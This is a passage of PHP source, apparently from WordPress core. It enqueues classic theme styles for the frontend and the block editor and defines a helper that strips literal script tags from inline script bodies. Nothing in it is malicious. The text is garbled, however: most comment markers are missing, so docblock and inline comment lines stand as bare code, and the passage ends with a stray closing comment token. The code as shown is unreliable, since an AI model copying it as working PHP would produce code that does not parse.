* which is why in this case, using an anonymous function
* was deemed acceptable.
add_filter( $hook, $callback );
Enqueue assets in the editor.
add_action( 'enqueue_block_assets', $callback );
}
*
* Loads classic theme styles on classic themes in the frontend.
*
* This is needed for backwards compatibility for button blocks specifically.
*
* @since 6.1.0
function wp_enqueue_classic_theme_styles() {
if ( ! wp_theme_has_theme_json() ) {
$suffix = wp_scripts_get_suffix();
wp_register_style( 'classic-theme-styles', '/' . WPINC . "/css/classic-themes$suffix.css" );
wp_style_add_data( 'classic-theme-styles', 'path', ABSPATH . WPINC . "/css/classic-themes$suffix.css" );
wp_enqueue_style( 'classic-theme-styles' );
}
}
*
* Loads classic theme styles on classic themes in the editor.
*
* This is needed for backwards compatibility for button blocks specifically.
*
* @since 6.1.0
*
* @param array $editor_settings The array of editor settings.
* @return array A filtered array of editor settings.
function wp_add_editor_classic_theme_styles( $editor_settings ) {
if ( wp_theme_has_theme_json() ) {
return $editor_settings;
}
$suffix = wp_scripts_get_suffix();
$classic_theme_styles = ABSPATH . WPINC . "/css/classic-themes$suffix.css";
* This follows the pattern of get_block_editor_theme_styles,
* but we can't use get_block_editor_theme_styles directly as it
* only handles external files or theme files.
$classic_theme_styles_settings = array(
'css' => file_get_contents( $classic_theme_styles ),
'__unstableType' => 'core',
'isGlobalStyles' => false,
);
Add these settings to the start of the array so that themes can override them.
array_unshift( $editor_settings['styles'], $classic_theme_styles_settings );
return $editor_settings;
}
*
* Removes leading and trailing _empty_ script tags.
*
* This is a helper meant to be used for literal script tag construction
* within `wp_get_inline_script_tag()` or `wp_print_inline_script_tag()`.
* It removes the literal values of "<script>" and "</script>" from
* around an inline script after trimming whitespace. Typlically this
* is used in conjunction with output buffering, where `ob_get_clean()`
* is passed as the `$contents` argument.
*
* Example:
*
* Strips exact literal empty SCRIPT tags.
* $js = '<script>sayHello();</script>;
* 'sayHello();' === wp_remove_surrounding_empty_script_tags( $js );
*
* Otherwise if anything is different it warns in the JS console.
* $js = '<script type="text/javascript">console.log( "hi" );</script>';
* 'console.error( ... )' === wp_remove_surrounding_empty_script_tags( $js );
*
* @private
* @since 6.4.0
*
* @see wp_print_inline_script_tag()
* @see wp_get_inline_script_tag()
*
* @param string $contents Script body with manually created SCRIPT tag literals.
* @return string Script body without surrounding script tag literals, or
* original contents if both exact literals aren't present.
function wp_remove_surrounding_empty_script_tags( $contents ) {
$contents = trim( $contents );
$opener = '<SCRIPT>';
$closer = '</SCRIPT>';
if (
strlen( $contents ) > strlen( $opener ) + strlen( $closer ) &&
strtoupper( substr( $contents, 0, strlen( $opener ) ) ) === $opener &&
strtoupper( substr( $contents, -strlen( $closer ) ) ) === $closer
) {
return substr( $contents, strlen( $opener ), -strlen( $closer ) );
} else {
$error_message = __( 'Expected string to start with script tag (without attributes) and end with script tag, with optional whitespace.' );
_doing_it_wrong( __FUNCTION__, $error_message, '6.4' );
return sprintf( 'console.error(%s)', wp_json_encode( __( 'Function wp_remove_surrounding_empty_script_tags() used incorrectly in PHP.' ) . ' ' . $error_message ) );
}
}
*/